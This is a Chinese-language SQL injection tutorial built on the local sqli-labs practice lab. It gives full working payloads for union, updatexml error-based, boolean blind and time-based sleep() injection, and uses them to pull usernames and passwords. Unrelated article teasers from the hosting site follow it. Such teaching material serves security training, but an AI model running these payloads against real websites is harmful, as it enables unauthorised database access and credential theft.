SQL注入基础入门篇 注入思路及常见的SQL注入类型总结

目录

  • 前言
  • 一、了解mysql数据库
    • 1、了解sql增删改查
    • 2、了解sql查询
  • 二、sql注入基础
  • 三、学习sql注入漏洞
    • 1、union注入
      • 1、判断数字型注入还是字符型型注入:
      • 2、判断闭合方式(字符型注入):
      • 3、判断回显位
      • 4、查询库名,表名,字段名
    • 2、报错注入
    • 3、布尔盲注
    • 4、时间盲注

前言

通过网盘分享的文件:phpstudy_pro.zip
链接: https://pan.baidu.com/s/1Ea_50Yh4XnAcMVjqkWCVgw?pwd=jacb 提取码: jacb
根目录中已有sql-labs靶场

一、了解mysql数据库

前置任务:下载phpstudy和sql-labs源码,搭建本地靶场sql-labs,在phpstudy中下载phpmyadmin。

1、了解sql增删改查

库操作:

mysql -u root-p输入密码登录数据库

show databases; 查看数据库

create database employes charset utf8; 创建数据库employees并选择字符集

drop database employees; 删除数据库employees

use employees; 选择进入数据库employees

表操作:

create table employee

(

**id int,**

name varchar(40),

sex char(4),

birthday data,

**job varchar(100)**

);

show full columns from employee; 查看数据表信息

select * from employee; 查看数据表列表

drop table employee; 删除数据表

rename table employee to user; 修改数据表名称为user

alter table user character set utf8; 修改字符级

数据列和数据行操作:

插入一行数据

INSERT into users

(

id,name,sex,birthday,job)

VALUES

(

**1,'ctfstu','male','1999-05-06','it')**

;

alter table user add salary decimal(0,2); 增加一列内容

update user set salary=5000; 修改所有工资为5000

update user set name=‘benben’ where id =1; 修改id=1的行name为benben

update user set name=‘benben2’,salary=3000 where id=1; 修改id=1的行name=benben2,工资为3000

alter table user drop salary; 删除列

delete from user where job=‘it’; 删除行

delete from user; 删除表

2、了解sql查询

select * from users where id = 1; select+列名(*代表所有)from+表名 where+条件语句

select * from users where id in(’3‘); 从users表格,查询所有包含id为3

select * from users where id=(select id from users where username=(‘admin’)); 子查询 优先执行()内查询语句

select id from users union select email_id from emails; union查询并合并数据显示

select * from users where id = 6 union select * from emails where id = 6;

ERROR: have a different number of columns 联合注入前后表格列数必须相等。

select * from users where id = 6 union select *,3 from emails where id = 6; #3为填充列。

group by 分组

select department,count(id) from student group by department; 查询departmet院系人数 count(id) 对ID进行计数

select * from users where id =9 group by 2; by2,4,8~~~依次排查到报错为止,从而确定列数(一般用二分法)

order by 默认按照升序排列

select stu_id from score shere c_name=‘计算机’ order by grade desc; grade参数desc使排列顺序变为降序

order by同group by一般用于判断数据表列数

limit 限制输出内容数量

select * from users limit 0,3; 限制为从第0行开始显示第3行

一般用于限数显示报错反馈信息

and和or

*select from student where sex=‘男’ and department=‘英语系’;

*select from student where sex=‘男’ or department=‘英语系’;

group_concat

select group_concat(username) from users; 多行合并为一行

select database(); 查看当前数据库名称

select version(); 查看当前数据库版本

二、sql注入基础

什么是注入:

通过构造一条精巧的语句,来查询到想要得到的信息。

注入分类:

按照查询字段分为字符型和数字型

按照注入方法分为Union注入,报错注入,布尔注入,时间注入等

如何判断是字符型注入还是数字型注入?

答:使用and 1=1和and 1=2来判断,数字型一般提交内容为数字,但数字不一定为数字型

eg:Less-1 提交and 1=1和提交and 1=2都能正常显示界面,则不可能是数字型注入,即为字符型注入

 Less-2**提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,判断为数字型注入**。

闭合方式: ’ " ') ") 其他

如何判断闭合方式:Less-1输入?id=1’,报错为near 1’多一个’,那么闭合符为’

闭合的作用:

手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数,不需要的语句可以用注释符号–+ ‘或’ # ‘或’ %23‘注释掉

tips:利用注释符号暂时将程序段脱离运行。把某段程序”注释掉“,就是让它暂时不运行(而非删除掉)。

union联合注入:

提交 ?id=1’ union select database()–+

?id=1’ group by 3 --+ 得知表的列数有三列

?id=1’ union select 1,2,3–+ 这条查询语句的结果应该有两行,但是一般网站只会回显一行。

?id =-1’ union select 1,2,3–+ 通过id=-1 使这条查询语句的结果为空,从而只回显剩下的一行。

?id =-1’ union select 1,2,database()–+ 通过上调指令得到的回显位,可以将3替换为我们想获取的信息database();

注入完成!

1.查找注入点

2.判断是字符型还是数字型注入 and1=1 1=2 / 3-1

3.如果是字符型,找到他的闭合方式, ‘ ” ‘) “)

4.判断查询列数,group by order by

5.查询回显位置,-1

aasdwasdwa

三、学习sql注入漏洞

1、union注入

这里我们以sqllab的第一关源码来学习sql注入:

<?php
//引入数据库连接,关闭错误报告
include("../sql-connections/sql-connect.php");
error_reporting(0);//将输入的id值记录到日志文件
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);//构造sql查询
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);//输出查询结果if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}?>

我们重点需要观察的是参数接收和构造sql查询这一块的语句:

参数接收:
$id=$_GET['id'];构造sql查询:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

我们可以发现我们以get传参的方式传进去的id没有经过任何处理就被直接拼接到后端字符串中去,然后带入数据库执行充当执行语句。因此,这里存在sql注入漏洞。

接下来我们要做的就是准备进行攻击语句的构造:

1、判断数字型注入还是字符型型注入:

可以利用经典的and 1=1和 and 1=2来判断:

数字型:

select * from users where id =x and 1=1select * from users where id =x and 1=2

第一条语句执行后,没有语法错误且页面返回正常。第二条语句执行后,没有语法错误但页面返回错误。

字符型:

select * from users where id='x' and '1'='1'
select * from users where id='x' and '1'='2'

第一条语句执行后,没有语法错误且页面返回正常。第二条语句执行后,没有语法错误但页面返回错误。

在这里插入图片描述

在这里插入图片描述

这里不管输入1 and 1=1还是1 and 1=2页面都是返回正常,说明是字符型注入,因为id永远等于’xxxx‘,所以逻辑判断永远无法生效,自然无法返回错误。

2、判断闭合方式(字符型注入):

闭合方式: ’ " ') ") 其他

确定是字符型注入以后,使用上面的多种闭合方式一个一个去闭合,如果没有报语法错误说明闭合符被mysql强制转成合法数据类型,如果报了语法错误,说明当前sql语句拼接参数的符号就是当前闭合符:

在这里插入图片描述

因此,此处闭合符为单引号。

3、判断回显位

通过id=1’ order by x–+来判断属性的列数有几个(x个),原理是按第几列升序排序,当x小于等于总列数时,不会报错,当x大于总列数时会报错。

在这里插入图片描述

这里发现当x等于4时,第一次报错,因此这里的列数为3,接下来我们要找到3列的属性列当中有多少是可以回显出查询结果的,于是我们使用sql查询语句:

url?id=-1' union select 1,2,3 --+

在这里插入图片描述

这里将id置为-1,使sql查询结果完全由union后面的语句所控制,这里发现屏幕上回显出了2和3,说明这里的回显是2和3,那么接下来我们就只需要将查询语句中的2和3替换为我们所需要查询的数据即可。

4、查询库名,表名,字段名

url?id=-1' union select 1,database(),3 --+    查询库名

在这里插入图片描述

url?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+  查询表名

在这里插入图片描述

url?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+   查询列名

在这里插入图片描述

url?id=-1' union select 1,2,group_concat(username,'~',password) from users --+  查询关键字段

在这里插入图片描述

至此,拿到了我们想要的数据库信息。

2、报错注入

报错注入的原理基于的是数据库在遇到错误语句时,会返回详细的错误信息。这些错误信息中可能包含数据库的敏感信息或者可用于推断数据库结构的信息,从而为攻击者提供进一步的注入利用可能。

这里以updatexml报错来举例实验:

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数:XML_document是string格式,为XML文档格式对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到的符合条件的数据

updatexml报错原理: 第二个参数与路径有关,我们可以输入书写不规范的路径,故意让他报错,而它的报错信息里刚好泄露了我们所需要的敏感信息。

案例:less-6:

<?phpinclude("../sql-connections/sql-connect.php");
error_reporting(0);if(isset($_GET['id']))
{
$id=$_GET['id'];$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="3"  color= "#FFFF00">';print_r(mysql_error());echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}
}else { echo "Please input the ID as parameter with numeric value";}?>

存在print_r(mysql_error());说明有报错回显,因此可以尝试使用报错注入。

?id=1" and 1=updatexml(1,concat('~',(select database())),1)--+   查询数据库

在这里插入图片描述

url?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+ 查询表

在这里插入图片描述

url?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)--+  查询列名

在这里插入图片描述

?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,'~',password),1,30) from users)),1)--+  查询关键字段

在这里插入图片描述

3、布尔盲注

盲注条件:存在注入点时,无论查询语句的正确还是错误,均不会产生回显。但是可以明显看出语句正确与否会导致对应页面的不同状态。

案例:less-8:
在这里插入图片描述

在这里插入图片描述

这种情况一般就是盲注了,这里我们要用到一个关键函数:

ascii()函数: ascii美国信息交换标准代码,可以把字母转换为对应数字。ascall值,A-Z是65-90,a-z是97-122。

原理:利用如下语句和页面的对错回显得出正确的字符信息

?id=1’ and ascii(substr((select databse()),1,1))>=120–+通过二分法来得出第一个字符的ascall值

?id=1’ and ascii(substr((select databse()),2,1))>=120–+通过二分法来得出第二个字符的ascall值

这里,我们使用burpsuite进行爆破猜解:

首先,需要爆破出数据库名的正确长度,先构造如下语句,再利用burpsuite抓包:

url?id=1' and if(length(database())=6,1,0)--+

在数字6的地方添加$符号:

在这里插入图片描述

在这里插入图片描述

利用burpsuite爆破,直接状态码和返回包的长度,发现数字为8时,长度与其他的返回请求不一样,并且渲染页面为true,所以数据库名长度为8。

接下来我们爆破具体的数据库名,先构造如下语句,再利用burpsuite抓包:

url?id=1' and if(substring(database(),1,1)='a',1,0)--+

这里要爆破两个参数,因此攻击模式选择cluster bomb:

在这里插入图片描述

因为数据库名长度为8,所以我们爆破的时候第一个参数爆破的范围为1-8。

在这里插入图片描述

第二个参数的范围为a-z,A-Z,0-9。

在这里插入图片描述

最终返回了16个正确字符,因为mysql不区分大小写,所以数据库名长度仍是8,数据库名为security。

在这里插入图片描述

之后的表名,列名与关键字段的获得操作与上面一致,不过多赘述。

4、时间盲注

案例:less-5

前提: 没有回显,没有报错,没有真假值,数据库会执行命令代码,只是不反馈页面信息。

关键函数:

函数sleep()参数为休眠时长,以秒为单位,可以为小数

select sleep(2);

函数if(condition,true,false) condition为条件,true当条件为真时返回的值,false当条件为假时返回的值。

select if(1=1,sleep(0),sleep(3)); 1=1为真,执行休眠0秒

?id=1’ and if(ascii(substr((select database()),1,1))<=110,sleep(0),sleep(3)) --+; 更改substr参数推算第一个字母,并以此推算剩余字母,直到得出结果。

替换入需要查询的命令语句即可

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=110,sleep(0),sleep(3)) --+

时间盲注闭合符的判断

?id=1 and sleep(2) --+

?id=1’ and sleep(2) --+

?id=1" and sleep(2) --+

?id=1’) and sleep(2) --+

这里,我们使用burpsuite进行爆破猜解:

首先,需要爆破出数据库名的正确长度,先构造如下语句,再利用burpsuite抓包:

?id=1' and if(length(database())=2,sleep(3),0) --+

在数字3的地方添加$符号,爆破结果如下:

在这里插入图片描述

正常的响应大约是1s,长度为8时,耗时4056ms,大约4s,即加上了sleep延时的3s,因此数据库长度为8。

接下来我们爆破具体的数据库名,先构造如下语句,再利用burpsuite抓包:

url?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+ 

在第一个1处添加 符号,在 a 处添加 符号,在a处添加 符号,在a处添加符号,第一个参数的爆破范围为1-8,第二个参数的爆破范围为a-z,A-Z,0-9,开始爆破!!!

在这里插入图片描述
最终返回了16个正确字符,因为mysql不区分大小写,所以数据库名长度仍是8,数据库名为security。

之后的表名,列名与关键字段的获得操作与上面一致,不过多赘述。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/487739.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Spring Boot库存管理系统

文末获取源码和万字论文&#xff0c;制作不易&#xff0c;感谢点赞支持。 基于Spring Boot库存管理系统 当下&#xff0c;如果还依然使用纸质文档来记录并且管理相关信息&#xff0c;可能会出现很多问题&#xff0c;比如原始文件的丢失&#xff0c;因为采用纸质文档&#xff0c…

JSSIP的使用及问题(webRTC,WebSockets)

简介 项目中有一个需要拨打电话的功能&#xff0c;要求实时的进行音频接听&#xff0c;并且可以在电话接听或者挂断等情况下做出相应的操作。jssip作为一个强大的实现实时通信的javascript库&#xff0c;这不门当户对了嘛。 jssip&#xff08;官网&#xff1a; JsSIP - the J…

【Cadence32】PCB多层板电源、地平面层创建心得➕CM约束管理器Analyze分析显示设置➕“DP”报错DRC

【转载】Cadence Design Entry HDL 使用教程 【Cadence01】Cadence PCB Edit相对延迟与绝对延迟的显示问题 【Cadence02】Allegro引脚焊盘Pin设置为透明 【Cadence03】cadence不小心删掉钢网层怎么办&#xff1f; 【Cadence04】一般情况下Allegro PCB设计时的约束规则设置&a…

Java阶段三06

第3章-第6节 一、知识点 理解MVC三层模型、理解什么是SpringMVC、理解SpringMVC的工作流程、了解springMVC和Struts2的区别、学会使用SpringMVC封装不同请求、接收参数 二、目标 理解MVC三层模型 理解什么是SpringMVC 理解SpringMVC的工作流程 学会使用SpringMVC封装请求…

C/C++流星雨

系列文章 序号直达链接1C/C爱心代码2C/C跳动的爱心3C/C李峋同款跳动的爱心代码4C/C满屏飘字表白代码5C/C大雪纷飞代码6C/C烟花代码7C/C黑客帝国同款字母雨8C/C樱花树代码9C/C奥特曼代码10C/C精美圣诞树11C/C俄罗斯方块12C/C贪吃蛇13C/C孤单又灿烂的神-鬼怪14C/C闪烁的爱心15C/C…

Vmware Vcenter7.0证书web续期发生错误

1. 故障描述 vSphere Client 版本 7.0.2.00200 vCenter _MACHINE_CERT快到期了&#xff0c;通过web界面更新证书失败 第一步先这样&#xff0c;重新续订一下证书 续订发生错误 2. 解决办法 2.1. 前提工作 登陆ssh到vcenter&#xff0c;重新生成证书 先关掉HA&#xff…

【合作原创】使用Termux搭建可以使用的生产力环境(五)

前言 在上一篇【合作原创】使用Termux搭建可以使用的生产力环境&#xff08;四&#xff09;-CSDN博客我们讲到了如何让proot-distro中的Debian声音驱动正常&#xff0c;将我们的系统备份后&#xff0c;通过VNC客户端连接到VNC服务器&#xff0c;这一篇我们来讲一下xfce桌面的美…

uniapp -- 实现页面滚动触底加载数据

效果 首选,是在pages.json配置开启下拉刷新 {"path": "pages/my/document/officialDocument","style": {"navigationStyle":</

Python之爬虫入门--示例(2)

一、Requests库安装 可以使用命令提示符指令直接安装requests库使用 pip install requests 二、爬取JSON数据 &#xff08;1&#xff09;、点击网络 &#xff08;2&#xff09;、刷新网页 &#xff08;3&#xff09;、这里有一些数据类型&#xff0c;选择全部 &#xff08…

OLLAMA+FASTGPT+M3E 大模型本地化部署手记

目录 1.安装ollama 0.5.1 2.下载大模型 qwen2.5 3b 3.开启WSL 4.更新wsl 5.安装ubuntu 6.docker下载 6.1 修改docker镜像源 6.2 开启WSL integration 7.安装fastgpt 7.1 创建fastgpt文件夹 7.2 下载fastgpt配置文件 8.启动容器 9.M3E下载 9.1 下载运行命令 9.2…

Linux网络基础知识————网络编程

计算机网络的体系结构 网络采用分而治之的方法设计&#xff0c;将网络的功能划分为不同的模块&#xff0c;以分层的形式有机结合在一起 每层实现不同的功能&#xff0c;其内部实现的方法对外部其他层次来说是透明的&#xff0c;每层向上一层提供服务&#xff0c;使用下一层提供…

【数据库】选择题+填空+简答

1.关于冗余数据的叙述中&#xff0c;不正确的是&#xff08;&#xff09; A.冗余的存在容易破坏数据库的完整新 B.冗余的存在给数据库的维护增加困难 C.不应该在数据库中存储任何冗余数据 D.冗余数据是指由基本数据导出的数据 C 2.最终用户使用的数据视图称为&#xff08;&…

unity3d—demo(实现给出图集名字和图片名字生成对应的图片)

目录 实现给出图集名字和图片名字生成对应的图片&#xff1a; 代码示例&#xff1a; dic: 键 是图集名称 值是一个字典 该字典键是图片名称 值是图片&#xff0c;结构如图&#xff1a; 测试代码&#xff1a; 结果&#xff1a; SpriteRenderer 讲解&#xff1a; Resour…

jmeter 提取数据写入文件

BeanShell PostProcessor FileWriter file new FileWriter("E:\\IOT\\cui家庭中心\\v3.8.0\\123.txt",true); BufferedWriter out new BufferedWriter(file); out.write(vars.get("localKey")"\n"); log.info("到这里了吗"); out.c…

Linux多进程开发-常用命令

进程 进程是计算机中正在运行的程序的实例。每个进程都有自己的地址空间、内存、文件和设备、线程以及其他系统资源。操作系统通过调度和管理进程来实现多任务处理&#xff0c;使得多个进程可以同时运行并与用户交互。在操作系统中&#xff0c;进程是基本的资源分配单位&#x…

Linux下nginx环境的搭建

1.Nginx的下载 nginx官网&#xff1a;nginx: download nginx的工作原理请移步&#xff1a; 2.nginx安装 2.1.上传文件 将nginx包上传到 /usr/local/src 下 如果你没有使用xftp的话&#xff0c;使用 rz -y 命令上传 下载依赖&#xff1a; yum install lrzsz 输入命令 r…

支持图像和视频理解多模态开源大模型:CogVLM2 CogVLM2-Video

CogVLM2和CogVLM2-Video是新一代的开源模型&#xff0c;支持图像和视频理解&#xff0c;具有显著的性能提升。最近发布的更新包括CogVLM2论文的发表、在线演示和对视频理解的支持&#xff0c;能够处理最多1分钟的视频。新模型支持中英文&#xff0c;文本长度可达8K&#xff0c;…

vue中验证码的实现方式

在写登录页的时候有的系统会让你也进行一下验证码绘制&#xff0c;那么验证码如何实现的呢&#xff1f;我在写登录页的时候通过将登录框&#xff0c;验证码分开页面来写&#xff0c;最后将它们变成标签来导入到我的样式页面中&#xff0c;这样写不仅方便&#xff0c;更容易修改…

Java多进程多线程处理文件

Java多进程多线程处理文件 在现代软件开发中&#xff0c;处理大量或大型文件是一个常见挑战。Java提供了多种机制来处理文件&#xff0c;包括单线程和多线程方式。本文将深入探讨如何使用Java中的多进程和多线程技术来提高文件处理的效率和性能。 目录 引言Java中的进程与线程…

网页核心页面设计(第5章)

一、登录页面 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-widt…